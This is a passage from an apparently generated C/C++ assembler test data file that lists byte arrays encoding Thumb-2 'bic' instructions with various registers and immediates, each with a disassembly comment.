kInstruction_bic_al_r11_r3_0x02ac0000[] = { 0x23, 0xf0, 0x2b, 0x7b // bic al r11 r3 0x02ac0000 }; const byte kInstruction_bic_al_r9_r5_0x55800000[] = { 0x25, 0xf0, 0xab, 0x49 // bic al r9 r5 0x55800000 }; const byte kInstruction_bic_al_r5_r5_0x000ab000[] = { 0x25, 0xf4, 0x2b, 0x25 // bic al r5 r5 0x000ab000 }; const byte kInstruction_bic_al_r0_r12_0x003fc000[] = { 0x2c, 0xf4, 0x7f, 0x10 // bic al r0 r12 0x003fc000 }; const byte kInstruction_bic_al_r10_r4_0x0000ab00[] = { 0x24, 0xf4, 0x2b, 0x4a // bic al r10 r4 0x0000ab00 }; const byte kInstruction_bic_al_r3_r2_0x0000ff00[] = { 0x22, 0xf4, 0x7f, 0x43 // bic al r3 r2 0x0000ff00 }; const byte kInstruction_bic_al_r14_r8_0x3fc00000[] = { 0x28, 0xf0, 0x7f, 0x5e // bic al r14 r8 0x3fc00000 }; const byte kInstruction_bic_al_r10_r13_0x05580000[] = { 0x2d, 0xf0, 0xab, 0x6a // bic al r10 r13 0x05580000 }; const byte kInstruction_bic_al_r4_r13_0x00156000[] = { 0x2d, 0xf4, 0xab, 0x14 // bic al r4 r13 0x00156000 }; const byte kInstruction_bic_al_r7_r2_0x000002ac[] = { 0x22, 0xf4, 0x2b, 0x77 // bic al r7 r2 0x000002ac }; const byte kInstruction_bic_al_r5_r10_0x000002ac[] = { 0x2a, 0xf4, 0x2b, 0x75 // bic al r5 r10 0x000002ac }; const byte kInstruction_bic_al_r7_r0_0xab000000[] = { 0x20, 0xf0, 0x2b, 0x47 // bic al r7 r0 0xab000000 }; const byte kInstruction_bic_al_r1_r10_0x000002ac[] = { 0x2a, 0xf4, 0x2b, 0x71 // bic al r1 r10 0x000002ac }; const byte kInstruction_bic_al_r11_r9_0x00002ac0[] = { 0x29, 0xf4, 0x2b, 0x5b // bic al r11 r9 0x00002ac0 }; const byte kInstruction_bic_al_r4_r0_0x000001fe[] = { 0x20, 0xf4, 0xff, 0x74 // bic al r4 r0 0x000001fe }; const byte kInstruction_bic_al_r11_r9_0x0003fc00[] = { 0x29, 0xf4, 0x7f, 0x3b // bic al r11 r9 0x0003fc00 }; const byte kInstruction_bic_al_r8_r3_0x00005580[] = { 0x23, 0xf4, 0xab, 0x48 // bic al r8 r3 0x00005580 }; const byte kInstruction_bic_al_r4_r4_0xffffffff[] = { 0x24, 0xf0, 0xff, 0x34 // bic al r4 r4 0xffffffff }; const byte kInstruction_bic_al_r1_r9_0x00000558[] = { 0x29, 0xf4, 0xab, 0x61 // bic al r1 r9 0x00000558 }; const byte kInstruction_bic_al_r9_r2_0x00ab0000[] = { 0x22, 0xf4, 0x2b, 0x09 // bic al r9 r2 0x00ab0000 }; const byte kInstruction_bic_al_r11_r6_0x00003fc0[] = { 0x26, 0xf4, 0x7f, 0x5b // bic al r11 r6 0x00003fc0 }; const byte kInstruction_bic_al_r11_r11_0x01fe0000[] = { 0x2b, 0xf0, 0xff, 0x7b // bic al r11 r11 0x01fe0000 }; const byte kInstruction_bic_al_r6_r10_0x0001fe00[] = { 0x2a, 0xf4, 0xff, 0x36 // bic al r6 r10 0x0001fe00 }; const byte kInstruction_bic_al_r8_r3_0x00000156[] = { 0x23, 0xf4, 0xab, 0x78 // bic al r8 r3 0x00000156 }; const byte kInstruction_bic_al_r12_r12_0x0002ac00[] = { 0x2c, 0xf4, 0x2b, 0x3c // bic al r12 r12 0x0002ac00 }; const byte kInstruction_bic_al_r8_r6_0x7f800000[] = { 0x26, 0xf0, 0xff, 0x48 // bic al r8 r6 0x7f800000 }; const byte kInstruction_bic_al_r5_r13_0x000002ac[] = { 0x2d, 0xf4, 0x2b, 0x75 // bic al r5 r13 0x000002ac }; const byte kInstruction_bic_al_r5_r13_0x15600000[] = { 0x2d, 0xf0, 0xab, 0x55 // bic al r5 r13 0x15600000 }; const byte kInstruction_bic_al_r8_r8_0x000000ab[] = { 0x28, 0xf0, 0xab, 0x08 // bic al r8 r8 0x000000ab }; const byte kInstruction_bic_al_r12_r14_0x00156000[] = { 0x2e, 0xf4, 0xab, 0x1c // bic al r12 r14 0x00156000 }; const byte kInstruction_bic_al_r1_r7_0x003fc000[] = { 0x27, 0xf4, 0x7f, 0x11 // bic al r1 r7 0x003fc000 }; const byte kInstruction_bic_al_r8_r0_0x00003fc0[] = { 0x20, 0xf4, 0x7f, 0x58 // bic al r8 r0 0x00003fc0 }; const byte kInstruction_bic_al_r14_r11_0x0007f800[] = { 0x2b, 0xf4, 0xff, 0x2e // bic al r14 r11 0x0007f800 }; const byte kInstruction_bic_al_r3_r8_0x00ab00ab[] = { 0x28, 0xf0, 0xab, 0x13 // bic al r3 r8 0x00ab00ab }; const byte kInstruction_bic_al_r14_r8_0x55800000[] = { 0x28, 0xf0, 0xab, 0x4e // bic al r14 r8 0x55800000 }; const byte kInstruction_bic_al_r7_r8_0x000ff000[] = { 0x28, 0xf4, 0x7f, 0x27 // bic al r7 r8 0x000ff000 }; const byte kInstruction_bic_al_r4_r11_0x01fe0000[] = { 0x2b, 0xf0, 0xff, 0x74 // bic al r4 r11 0x01fe0000 }; const byte kInstruction_bic_al_r2_r4_0x01560000[] = { 0x24, 0xf0, 0xab, 0x72 // bic al r2 r4 0x01560000 }; const byte kInstruction_bic_al_r4_r3_0xffffffff[] = { 0x23, 0xf0, 0xff, 0x34 // bic al r4 r3 0xffffffff }; const byte kInstruction_bic_al_r7_r8_0xab000000[] = { 0x28, 0xf0, 0x2b, 0x47 // bic al r7 r8 0xab000000 }; const byte kInstruction_bic_al_r0_r13_0x00000ab0[] = { 0x2d, 0xf4, 0x2b, 0x60 // bic al r0 r13 0x00000ab0 }; const byte kInstruction_bic_al_r1_r2_0x000001fe[] = { 0x22, 0xf4, 0xff, 0x71 // bic al r1 r2 0x000001fe }; const byte kInstruction_bic_al_r8_r14_0x02ac0000[] = { 0x2e, 0xf0, 0x2b, 0x78 // bic al r8 r14 0x02ac0000 }; const byte kInstruction_bic_al_r4_r5_0x00558000[] = { 0x25, 0xf4, 0xab, 0x04 // bic al r4 r5 0x00558000 }; const byte kInstruction_bic_al_r6_r7_0xff00ff00[] = { 0x27, 0xf0, 0xff, 0x26 // bic al r6 r7 0xff00ff00 }; const byte kInstruction_bic_al_r8_r12_0x001fe000[] = { 0x2c, 0xf4, 0xff, 0x18 // bic al r8 r12 0x001fe000 }; const byte kInstruction_bic_al_r6_r4_0x07f80000[] = { 0x24, 0xf0, 0xff, 0x66 // bic al r6 r4 0x07f80000 }; const byte kInstruction_bic_al_r4_r0_0x00001fe0[] = { 0x20, 0xf4, 0xff, 0x54 // bic al r4 r0 0x00001fe0 }; const byte kInstruction_bic_al_r14_r3_0xff00ff00[] = { 0x23, 0xf0, 0xff, 0x2e // bic al r14 r3 0xff00ff00 }; const byte kInstruction_bic_al_r0_r6_0xab000000[] = { 0x26, 0xf0, 0x2b, 0x40 // bic al r0 r6 0xab000000 }; const byte kInstruction_bic_al_r12_r13_0x00000ab0[] = { 0x2d, 0xf4, 0x2b, 0x6c // bic al r12 r13 0x00000ab0 }; const byte kInstruction_bic_al_r12_r8_0x00000558[] = { 0x28, 0xf4, 0xab, 0x6c // bic al r12 r8 0x00000558 }; const byte kInstruction_bic_al_r3_r12_0x0003fc00[] = { 0x2c, 0xf4, 0x7f, 0x33 // bic al r3 r12 0x0003fc00 }; const byte kInstruction_bic_al_r2_r11_0x7f800000[] = { 0x2b, 0xf0, 0xff, 0x42 // bic al r2 r11 0x7f800000 }; const byte kInstruction_bic_al_r10_r4_0x15600000[] = { 0x24, 0xf0, 0xab, 0x5a // bic al r10 r4 0x15600000 }; const byte kInstruction_bic_al_r8_r7_0x0ab00000[] = { 0x27, 0xf0, 0x2b, 0x68 // bic al r8 r7 0x0ab00000 }; const byte kInstruction_bic_al_r10_r6_0x000000ff[] = { 0x26, 0xf0, 0xff, 0x0a // bic al r10 r6 0x000000ff }; const byte kInstruction_bic_al_r3_r4_0xff00ff00[] = { 0x24, 0xf0, 0xff, 0x23 // bic al r3 r4 0xff00ff00 }; const byte kInstruction_bic_al_r14_r10_0x00ab0000[] = { 0x2a, 0xf4, 0x2b, 0x0e // bic al r14 r10 0x00ab0000 }; const byte kInstruction_bic_al_r8_r3_0x0002ac00[] = { 0x23, 0xf4, 0x2b, 0x38 // bic al r8 r3 0x0002ac00 }; const byte kInstruction_bic_al_r8_r8_0x00000558[] = { 0x28, 0xf4, 0xab, 0x68 // bic al r8 r8 0x00000558 }; const byte kInstruction_bic_al_r12_r4_0x00015600[] = { 0x24, 0xf4, 0xab, 0x3c // bic al r12 r4 0x00015600 }; const byte kInstruction_bic_al_r8_r1_0x002ac000[] = { 0x21, 0xf4, 0x2b, 0x18 // bic al r8 r1 0x002ac000 }; const byte kInstruction_bic_al_r8_r5_0x000000ab[] = { 0x25, 0xf0, 0xab, 0x08 // bic al r8 r5 0x000000ab }; const byte kInstruction_bic_al_r6_r6_0x000000ab[] = { 0x26, 0xf0, 0xab, 0x06 // bic al r6 r6 0x000000ab }; const byte kInstruction_bic_al_r5_r7_0x00002ac0[] = { 0x27, 0xf4, 0x2b, 0x55 // bic al r5 r7 0x00002ac0 }; const byte kInstruction_bic_al_r11_r4_0x00000ff0[] = { 0x24, 0xf4, 0x7f, 0x6b // bic al r11 r4 0x00000ff0 }; const byte kInstruction_bic_al_r9_r9_0x00000ff0[] = { 0x29, 0xf4, 0x7f, 0x69 // bic al r9 r9 0x00000ff0 }; const byte kInstruction_bic_al_r0_r8_0x00ff0000[] = { 0x28, 0xf4, 0x7f, 0x00 // bic al r0 r8 0x00ff0000 }; const byte kInstruction_bic_al_r9_r11_0x000000ab[] = { 0x2b, 0xf0, 0xab, 0x09 // bic al r9 r11 0x000000ab }; const byte kInstruction_bic_al_r7_r5_0x000000ff[] = { 0x25, 0xf0, 0xff, 0x07 // bic al r7 r5 0x000000ff }; const byte kInstruction_bic_al_r14_r0_0x15600000[] = { 0x20, 0xf0, 0xab, 0x5e // bic al r14 r0 0x15600000 }; const byte kInstruction_bic_al_r10_r9_0x00000156[] = { 0x29, 0xf4, 0xab, 0x7a // bic al r10 r9 0x00000156 }; const byte kInstruction_bic_al_r3_r7_0x00ff0000[] = { 0x27, 0xf4, 0x7f, 0x03 // bic al r3 r7 0x00ff0000 }; const byte kInstruction_bic_al_r6_r11_0xab00ab00[] = { 0x2b, 0xf0, 0xab, 0x26 // bic al r6 r11 0xab00ab00 }; const byte kInstruction_bic_al_r5_r2_0x002ac000[] = { 0x22, 0xf4, 0x2b, 0x15 // bic al r5 r2 0x002ac000 }; const byte kInstruction_bic_al_r9_r14_0x55800000[] = { 0x2e, 0xf0, 0xab, 0x49 // bic al r9 r14 0x55800000 }; const byte kInstruction_bic_al_r10_r13_0x15600000[] = { 0x2d, 0xf0, 0xab, 0x5a // bic al r10 r13 0x15600000 }; const byte kInstruction_bic_al_r13_r7_0x0ff00000[] = { 0x27, 0xf0, 0x7f, 0x6d // bic al r13 r7 0x0ff00000 }; const byte kInstruction_bic_al_r12_r5_0xffffffff[] = { 0x25, 0xf0, 0xff, 0x3c // bic al r12 r5 0xffffffff }; const byte kInstruction_bic_al_r8_r10_0x00000156[] = { 0x2a, 0xf4, 0xab, 0x78 // bic al r8 r10 0x00000156 }; const byte kInstruction_bic_al_r7_r6_0x00005580[] = { 0x26, 0xf4, 0xab, 0x47 // bic al r7 r6 0x00005580 }; const byte kInstruction_bic_al_r6_r6_0x0ab00000[] = { 0x26, 0xf0, 0x2b, 0x66 // bic al r6 r6 0x0ab00000 }; const byte kInstruction_bic_al_r3_r7_0x01fe0000[] = { 0x27, 0xf0, 0xff, 0x73 // bic al r3 r7 0x01fe0000 }; const byte kInstruction_bic_al_r14_r9_0x00558000[] = { 0x29, 0xf4, 0xab, 0x0e // bic al r14 r9 0x00558000 }; const byte kInstruction_bic_al_r3_r13_0x000007f8[] = { 0x2d, 0xf4, 0xff, 0x63 // bic al r3 r13 0x000007f8 }; const byte kInstruction_bic_al_r10_r2_0x00055800[] = { 0x22, 0xf4, 0xab, 0x2a // bic al r10 r2 0x00055800 }; const byte kInstruction_bic_al_r5_r14_0x00005580[] = { 0x2e, 0xf4, 0xab, 0x45 // bic al r5 r14 0x00005580 }; const byte kInstruction_bic_al_r9_r12_0xab000000[] = { 0x2c, 0xf0, 0x2b, 0x49 // bic al r9 r12 0xab000000 }; const byte kInstruction_bic_al_r2_r14_0x00000156[] = { 0x2e, 0xf4, 0xab, 0x72 // bic al r2 r14 0x00000156 }; const byte kInstruction_bic_al_r6_r10_0x000ff000[] = { 0x2a, 0xf4, 0x7f, 0x26 // bic al r6 r10 0x000ff000 }; const byte kInstruction_bic_al_r6_r7_0x000007f8[] = { 0x27, 0xf4, 0xff, 0x66 // bic al r6 r7 0x000007f8 }; const byte kInstruction_bic_al_r8_r3_0x7f800000[] = { 0x23, 0xf0, 0xff, 0x48 // bic al r8 r3 0x7f800000 }; const byte kInstruction_bic_al_r0_r12_0x15600000[] = { 0x2c, 0xf0, 0xab, 0x50 // bic al r0 r12 0x15600000 }; const byte kInstruction_bic_al_r1_r6_0x00558000[] = { 0x26, 0xf4, 0xab, 0x01 // bic al r1 r6 0x00558000 }; const byte kInstruction_bic_al_r3_r8_0x55800000[] = { 0x28, 0xf0, 0xab, 0x43 // bic al r3 r8 0x55800000 }; const byte kInstruction_bic_al_r1_r14_0x000003fc[] = { 0x2e, 0xf4, 0x7f, 0x71 // bic al r1 r14 0x000003fc }; const byte kInstruction_bic_al_r0_r2_0x0ab00000[] = { 0x22, 0xf0, 0x2b, 0x60 // bic al r0 r2 0x0ab00000 }; const byte kInstruction_bic_al_r10_r12_0x00000156[] = { 0x2c, 0xf4, 0xab, 0x7a // bic al r10 r12 0x00000156 }; const byte kInstruction_bic_al_r12_r14_0x03fc0000[] = { 0x2e, 0xf0, 0x7f, 0x7c // bic al r12 r14 0x03fc0000 }; const byte kInstruction_bic_al_r2_r5_0x0001fe00[] = { 0x25, 0xf4, 0xff, 0x32 // bic al r2 r5 0x0001fe00 }; const byte kInstruction_bic_al_r5_r11_0x000ab000[] = { 0x2b, 0xf4, 0x2b, 0x25 // bic al r5 r11 0x000ab000 }; const byte kInstruction_bic_al_r14_r14_0x0001fe00[] = { 0x2e, 0xf4, 0xff, 0x3e // bic al r14 r14 0x0001fe00 }; const byte kInstruction_bic_al_r13_r2_0x00003fc0[] = { 0x22, 0xf4, 0x7f, 0x5d // bic al r13 r2 0x00003fc0 }; const byte kInstruction_bic_al_r0_r8_0xab000000[] = { 0x28, 0xf0, 0x2b, 0x40 // bic al r0 r8 0xab000000 }; const byte kInstruction_bic_al_r12_r0_0x000000ab[] = { 0x20, 0xf0, 0xab, 0x0c // bic al r12 r0 0x000000ab }; const byte kInstruction_bic_al_r11_r10_0x002ac000[] = { 0x2a, 0xf4, 0x2b, 0x1b // bic al r11 r10 0x002ac000 }; const byte kInstruction_bic_al_r12_r11_0x00ab0000[] = { 0x2b, 0xf4, 0x2b, 0x0c // bic al r12 r11 0x00ab0000 }; const byte kInstruction_bic_al_r2_r9_0x0ff00000[] = { 0x29, 0xf0, 0x7f, 0x62 // bic al r2 r9 0x0ff00000 }; const byte kInstruction_bic_al_r7_r4_0x000001fe[] = { 0x24, 0xf4, 0xff, 0x77 // bic al r7 r4 0x000001fe }; const byte kInstruction_bic_al_r7_r6_0x0000ff00[] = { 0x26, 0xf4, 0x7f, 0x47 // bic al r7 r6 0x0000ff00 }; const byte kInstruction_bic_al_r11_r14_0x05580000[] = { 0x2e, 0xf0, 0xab, 0x6b // bic al r11 r14 0x05580000 }; const byte kInstruction_bic_al_r6_r10_0x00000558[] = { 0x2a, 0xf4, 0xab, 0x66 // bic al r6 r10 0x00000558 }; const byte kInstruction_bic_al_r11_r6_0x0001fe00[] = { 0x26, 0xf4, 0xff, 0x3b // bic al r11 r6 0x0001fe00 }; const byte kInstruction_bic_al_r11_r12_0xab00ab00[] = { 0x2c, 0xf0, 0xab, 0x2b // bic al r11 r12 0xab00ab00 }; const byte kInstruction_bic_al_r1_r8_0x7f800000[] = { 0x28, 0xf0, 0xff, 0x41 // bic al r1 r8 0x7f800000 }; const byte kInstruction_bic_al_r4_r3_0x0000ff00[] = { 0x23, 0xf4, 0x7f, 0x44 // bic al r4 r3 0x0000ff00 }; const byte kInstruction_bic_al_r5_r4_0x00ff00ff[] = { 0x24, 0xf0, 0xff, 0x15 // bic al r5 r4 0x00ff00ff }; const byte kInstruction_bic_al_r12_r11_0x2ac00000[] = { 0x2b, 0xf0, 0x2b, 0x5c // bic al r12 r11 0x2ac00000 }; const byte kInstruction_bic_al_r1_r6_0xab00ab00[] = { 0x26, 0xf0, 0xab, 0x21 // bic al r1 r6 0xab00ab00 }; const byte kInstruction_bic_al_r6_r3_0x000000ab[] = { 0x23, 0xf0, 0xab, 0x06 // bic al r6 r3 0x000000ab }; const byte kInstruction_bic_al_r2_r11_0x0007f800[] = { 0x2b, 0xf4, 0xff, 0x22 // bic al r2 r11 0x0007f800 }; const byte kInstruction_bic_al_r3_r0_0x00001560[] = { 0x20, 0xf4, 0xab, 0x53 // bic al r3 r0 0x00001560 }; const byte kInstruction_bic_al_r1_r14_0x00000558[] = { 0x2e, 0xf4, 0xab, 0x61 // bic al r1 r14 0x00000558 }; const byte kInstruction_bic_al_r10_r8_0x00558000[] = { 0x28, 0xf4, 0xab, 0x0a // bic al r10 r8 0x00558000 }; const byte kInstruction_bic_al_r0_r8_0x000ff000[] = { 0x28, 0xf4, 0x7f, 0x20 // bic al r0 r8 0x000ff000 }; const byte kInstruction_bic_al_r13_r6_0x007f8000[] = { 0x26, 0xf4, 0xff, 0x0d // bic al r13 r6 0x007f8000 }; const byte kInstruction_bic_al_r3_r10_0x000002ac[] = { 0x2a, 0xf4, 0x2b, 0x73 // bic al r3 r10 0x000002ac }; const byte kInstruction_bic_al_r12_r2_0x0003fc00[] = { 0x22, 0xf4, 0x7f, 0x3c // bic al r12 r2 0x0003fc00 }; const byte kInstruction_bic_al_r5_r5_0x02ac0000[] = { 0x25, 0xf0, 0x2b, 0x75 // bic al r5 r5 0x02ac0000 }; const byte kInstruction_bic_al_r11_r12_0x001fe000[] = { 0x2c, 0xf4, 0xff, 0x1b // bic al r11 r12 0x001fe000 }; const byte kInstruction_bic_al_r0_r14_0x001fe000[] = { 0x2e, 0xf4, 0xff, 0x10 // bic al r0 r14 0x001fe000 }; const byte kInstruction_bic_al_r0_r14_0x02ac0000[] = { 0x2e, 0xf0, 0x2b, 0x70 // bic al r0 r14 0x02ac0000 }; const byte kInstruction_bic_al_r6_r7_0x0ff00000[] = { 0x27, 0xf0, 0x7f, 0x66 // bic al r6 r7 0x0ff00000 }; const byte kInstruction_bic_al_r10_r13_0x00000156[] = { 0x2d, 0xf4, 0xab, 0x7a // bic al r10 r13 0x00000156 }; const byte kInstruction_bic_al_r3_r7_0x000007f8[] = { 0x27, 0xf4, 0xff, 0x63 // bic al r3 r7 0x000007f8 }; const byte kInstruction_bic_al_r4_r10_0x000000ab[] = { 0x2a, 0xf0, 0xab, 0x04 // bic al r4 r10 0x000000ab }; const byte kInstruction_bic_al_r0_r6_0x00000558[] = { 0x26, 0xf4, 0xab, 0x60 // bic al r0 r6 0x00000558 }; const byte kInstruction_bic_al_r1_r1_0x05580000[] = { 0x21, 0xf0, 0xab, 0x61 // bic al r1 r1 0x05580000 }; const byte kInstruction_bic_al_r8_r2_0x00001560[] = { 0x22, 0xf4, 0xab, 0x58 // bic al r8 r2 0x00001560 }; const byte kInstruction_bic_al_r9_r5_0x0001fe00[] = { 0x25, 0xf4, 0xff, 0x39 // bic al r9 r5 0x0001fe00 }; const byte kInstruction_bic_al_r13_r9_0x0ab00000[] = { 0x29, 0xf0, 0x2b, 0x6d // bic al r13 r9 0x0ab00000 }; const byte kInstruction_bic_al_r13_r9_0x00007f80[] = { 0x29, 0xf4, 0xff, 0x4d // bic al r13 r9 0x00007f80 }; const byte kInstruction_bic_al_r10_r5_0x0000ab00[] = { 0x25, 0xf4, 0x2b, 0x4a // bic al r10 r5 0x0000ab00 }; const byte kInstruction_bic_al_r6_r13_0x007f8000[] = { 0x2d, 0xf4, 0xff, 0x06 // bic al r6 r13 0x007f8000 }; const byte kInstruction_bic_al_r5_r9_0x000ab000[] = { 0x29, 0xf4, 0x2b, 0x25 // bic al r5 r9 0x000ab000 }; const byte kInstruction_bic_al_r4_r4_0x000000ab[] = { 0x24, 0xf0, 0xab, 0x04 // bic al r4 r4 0x000000ab }; const byte kInstruction_bic_al_r13_r5_0xab00ab00[] = { 0x25, 0xf0, 0xab, 0x2d // bic al r13 r5 0xab00ab00 }; const byte kInstruction_bic_al_r12_r3_0x00005580[] = { 0x23, 0xf4, 0xab, 0x4c // bic al r12 r3 0x00005580 }; const byte kInstruction_bic_al_r0_r10_0x55800000[] = { 0x2a, 0xf0, 0xab, 0x40 // bic al r0 r10 0x55800000 }; const byte kInstruction_bic_al_r2_r8_0x00ab00ab[] = { 0x28, 0xf0, 0xab, 0x12 // bic al r2 r8 0x00ab00ab }; const byte kInstruction_bic_al_r11_r5_0x0003fc00[] = { 0x25, 0xf4, 0x7f, 0x3b // bic al r11 r5 0x0003fc00 }; const byte kInstruction_bic_al_r11_r0_0x00ab0000[] = { 0x20, 0xf4, 0x2b, 0x0b // bic al r11 r0 0x00ab0000 }; const byte kInstruction_bic_al_r10_r2_0x000002ac[] = { 0x22, 0xf4, 0x2b, 0x7a // bic al r10 r2 0x000002ac }; const byte kInstruction_bic_al_r11_r12_0x00055800[] = { 0x2c, 0xf4, 0xab, 0x2b // bic al r11 r12 0x00055800 }; const byte kInstruction_bic_al_r5_r13_0x00000ff0[] = { 0x2d, 0xf4, 0x7f, 0x65 // bic al r5 r13 0x00000ff0 }; const byte kInstruction_bic_al_r4_r14_0x15600000[] = { 0x2e, 0xf0, 0xab, 0x54 // bic al r4 r14 0x15600000 }; const byte kInstruction_bic_al_r10_r1_0x00003fc0[] = { 0x21, 0xf4, 0x7f, 0x5a // bic al r10 r1 0x00003fc0 }; const byte kInstruction_bic_al_r14_r8_0xff000000[] = { 0x28, 0xf0, 0x7f, 0x4e // bic al r14 r8 0xff000000 }; const byte kInstruction_bic_al_r12_r0_0x00ff0000[] = { 0x20, 0xf4, 0x7f, 0x0c // bic al r12 r0 0x00ff0000 }; const byte kInstruction_bic_al_r4_r5_0x3fc00000[] = { 0x25, 0xf0, 0x7f, 0x54 // bic al r4 r5 0x3fc00000 }; const byte kInstruction_bic_al_r14_r10_0x3fc00000[] = { 0x2a, 0xf0, 0x7f, 0x5e // bic al r14 r10 0x3fc00000 }; const byte kInstruction_bic_al_r10_r1_0x00015600[] = { 0x21, 0xf4, 0xab, 0x3a // bic al r10 r1 0x00015600 }; const byte kInstruction_bic_al_r4_r3_0xff000000[] = { 0x23, 0xf0, 0x7f, 0x44 // bic al r4 r3 0xff000000 }; const byte kInstruction_bic_al_r10_r10_0x02ac0000[] = { 0x2a, 0xf0, 0x2b, 0x7a // bic al r10 r10 0x02ac0000 }; const byte kInstruction_bic_al_r9_r9_0x000ff000[] = { 0x29, 0xf4, 0x7f, 0x29 // bic al r9 r9 0x000ff000 }; const byte kInstruction_bic_al_r13_r7_0x0002ac00[] = { 0x27, 0xf4, 0x2b, 0x3d // bic al r13 r7 0x0002ac00 }; const byte kInstruction_bic_al_r7_r8_0x00001fe0[] = { 0x28, 0xf4, 0xff, 0x57 // bic al r7 r8 0x00001fe0 }; const byte kInstruction_bic_al_r2_r4_0x00001560[] = { 0x24, 0xf4, 0xab, 0x52 // bic al r2 r4 0x00001560 }; const byte kInstruction_bic_al_r13_r7_0x00156000[] = { 0x27, 0xf4, 0xab, 0x1d // bic al r13 r7 0x00156000 }; const byte kInstruction_bic_al_r9_r9_0x000003fc[] = { 0x29, 0xf4, 0x7f, 0x79 // bic al r9 r9 0x000003fc }; const byte kInstruction_bic_al_r0_r3_0x000ab000[] = { 0x23, 0xf4, 0x2b, 0x20 // bic al r0 r3 0x000ab000 }; const byte kInstruction_bic_al_r10_r12_0x0000ab00[] = { 0x2c, 0xf4, 0x2b, 0x4a // bic al r10 r12 0x0000ab00 }; const byte kInstruction_bic_al_r1_r13_0x00002ac0[] = { 0x2d, 0xf4, 0x2b, 0x51 // bic al r1 r13 0x00002ac0 }; const byte kInstruction_bic_al_r3_r10_0x001fe000[] = { 0x2a, 0xf4, 0xff, 0x13 // bic al r3 r10 0x001fe000 }; const byte kInstruction_bic_al_r4_r12_0x00ff00ff[] = { 0x2c, 0xf0, 0xff, 0x14 // bic al r4 r12 0x00ff00ff }; const byte kInstruction_bic_al_r12_r5_0x003fc000[] = { 0x25, 0xf4, 0x7f, 0x1c // bic al r12 r5 0x003fc000 }; const byte kInstruction_bic_al_r11_r2_0x0001fe00[] = { 0x22, 0xf4, 0xff, 0x3b // bic al r11 r2 0x0001fe00 }; const byte kInstruction_bic_al_r8_r6_0x0007f800[] = { 0x26, 0xf4, 0xff, 0x28 // bic al r8 r6 0x0007f800 }; const byte kInstruction_bic_al_r11_r1_0x000000ff[] = { 0x21, 0xf0, 0xff, 0x0b // bic al r11 r1 0x000000ff }; const byte kInstruction_bic_al_r5_r2_0x007f8000[] = { 0x22, 0xf4, 0xff, 0x05 // bic al r5 r2 0x007f8000 }; const byte kInstruction_bic_al_r8_r10_0xab000000[] = { 0x2a, 0xf0, 0x2b, 0x48 // bic al r8 r10 0xab000000 }; const byte kInstruction_bic_al_r10_r3_0x000ff000[] = { 0x23, 0xf4, 0x7f, 0x2a // bic al r10 r3 0x000ff000 }; const byte kInstruction_bic_al_r6_r0_0x00ff0000[] = { 0x20, 0xf4, 0x7f, 0x06 // bic al r6 r0 0x00ff0000 }; const byte kInstruction_bic_al_r7_r14_0x0ff00000[] = { 0x2e, 0xf0, 0x7f, 0x67 // bic al r7 r14 0x0ff00000 }; const byte kInstruction_bic_al_r8_r3_0x00001560[] = { 0x23, 0xf4, 0xab, 0x58 // bic al r8 r3 0x00001560 }; const byte kInstruction_bic_al_r13_r9_0x00000558[] = { 0x29, 0xf4, 0xab, 0x6d // bic al r13 r9 0x00000558 }; const byte kInstruction_bic_al_r8_r7_0x00001fe0[] = { 0x27, 0xf4, 0xff, 0x58 // bic al r8 r7 0x00001fe0 }; const byte kInstruction_bic_al_r13_r3_0x0003fc00[] = { 0x23, 0xf4, 0x7f, 0x3d // bic al r13 r3 0x0003fc00 }; const byte kInstruction_bic_al_r4_r14_0x000000ab[] = { 0x2e, 0xf0, 0xab, 0x04 // bic al r4 r14 0x000000ab }; const byte kInstruction_bic_al_r14_r7_0x000000ab[] = { 0x27, 0xf0, 0xab, 0x0e // bic al r14 r7 0x000000ab }; const byte kInstruction_bic_al_r11_r9_0x00558000[] = { 0x29, 0xf4, 0xab, 0x0b // bic al r11 r9 0x00558000 }; const byte kInstruction_bic_al_r3_r10_0x0000ff00[] = { 0x2a, 0xf4, 0x7f, 0x43 // bic al r3 r10 0x0000ff00 }; const byte kInstruction_bic_al_r4_r12_0x003fc000[] = { 0x2c, 0xf4, 0x7f, 0x14 // bic al r4 r12 0x003fc000 }; const byte kInstruction_bic_al_r11_r1_0x002ac000[] = { 0x21, 0xf4, 0x2b, 0x1b // bic al r11 r1 0x002ac000 }; const byte kInstruction_bic_al_r12_r0_0x7f800000[] = { 0x20, 0xf0, 0xff, 0x4c // bic al r12 r0 0x7f800000 }; const byte kInstruction_bic_al_r3_r9_0x00003fc0[] = { 0x29, 0xf4, 0x7f, 0x53 // bic al r3 r9 0x00003fc0 }; const byte kInstruction_bic_al_r6_r6_0x0ff00000[] = { 0x26, 0xf0, 0x7f, 0x66 // bic al r6 r6 0x0ff00000 }; const byte kInstruction_bic_al_r1_r11_0xff000000[] = { 0x2b, 0xf0, 0x7f, 0x41 // bic al r1 r11 0xff000000 }; const byte kInstruction_bic_al_r2_r10_0x0007f800[] = { 0x2a, 0xf4, 0xff, 0x22 // bic al r2 r10 0x0007f800 }; const byte kInstruction_bic_al_r12_r10_0x000002ac[] = { 0x2a, 0xf4, 0x2b, 0x7c // bic al r12 r10 0x000002ac }; const byte kInstruction_bic_al_r10_r8_0x000003fc[] = { 0x28, 0xf4, 0x7f, 0x7a // bic al r10 r8 0x000003fc }; const byte kInstruction_bic_al_r9_r0_0x55800000[] = { 0x20, 0xf0, 0xab, 0x49 // bic al r9 r0 0x55800000 }; const byte kInstruction_bic_al_r8_r7_0x1fe00000[] = { 0x27, 0xf0, 0xff, 0x58 // bic al r8 r7 0x1fe00000 }; const byte kInstruction_bic_al_r4_r0_0x15600000[] = { 0x20, 0xf0, 0xab, 0x54 // bic al r4 r0 0x15600000 }; const byte kInstruction_bic_al_r4_r0_0xff00ff00[] = { 0x20, 0xf0, 0xff, 0x24 // bic al r4 r0 0xff00ff00 }; const byte kInstruction_bic_al_r1_r14_0x00007f80[] = { 0x2e, 0xf4, 0xff, 0x41 // bic al r1 r14 0x00007f80 }; const byte kInstruction_bic_al_r7_r3_0x00ff00ff[] = { 0x23, 0xf0, 0xff, 0x17 // bic al r7 r3 0x00ff00ff }; const byte kInstruction_bic_al_r10_r2_0x00001560[] = { 0x22, 0xf4, 0xab, 0x5a // bic al r10 r2 0x00001560 }; const byte kInstruction_bic_al_r0_r14_0xabababab[] = { 0x2e, 0xf0, 0xab, 0x30 // bic al r0 r14 0xabababab }; const byte kInstruction_bic_al_r3_r4_0x007f8000[] = { 0x24, 0xf4, 0xff, 0x03 // bic al r3 r4 0x007f8000 }; const byte kInstruction_bic_al_r0_r2_0x003fc000[] = { 0x22, 0xf4, 0x7f, 0x10 // bic 